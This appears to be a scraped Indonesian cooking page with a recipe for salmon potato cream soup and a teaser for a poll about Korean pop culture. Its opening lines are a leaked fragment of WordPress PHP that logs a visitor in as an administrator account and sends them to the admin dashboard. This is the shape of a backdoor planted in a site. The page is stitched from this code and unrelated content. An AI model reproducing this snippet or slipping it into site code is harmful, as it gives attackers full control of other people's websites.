user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Ikan & Seafood
Sup Krim Kentang Salmon

21 Jun 2013

Bahan:
  • 2 sdm mentega tawar
  • 2 siung bawang putih
  • 5 batang thyme segar
  • 250 g  fillet ikan salmon
  • 100 g bawang bombay, cincang
  • 500 ml kaldu ayam
  • 400 g kentang, kupas
  • 250 ml susu evaporasi/evaporated milk
  • 1 sdt garam
  • ½ sdt merica putih bubuk
Cara Membuat:
Advertisement
  1. Lelehkan mentega, tumis bawang putih dan thyme hingga harum. Masukkan salmon, tumis hingga matang. Jangan terlalu diaduk-aduk agar tekstur ikan tidak pecah.  Angkat.
  2. Bagi rata salmon ke 6 mangkuk saji. Sisihkan.
  3. Masukkan bawang bombay ke wajan yang sama. Tumis dengan sisa mentega hingga transparan dan harum.
  4. Tuangi kaldu dan susu, masak di atas api kecil hingga panas. Sisihkan.
  5. Rebus kentang hingga lunak, angkat. Potong-potong dan masukkan ke dalam blender bersama kaldu-susu. Proses hingga halus.
  6. Didihkan kembali. Bubuhi garam dan merica. Angkat. Tuang ke dalam mangkuk saji. Sajikan panas.
Untuk 6 porsi



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?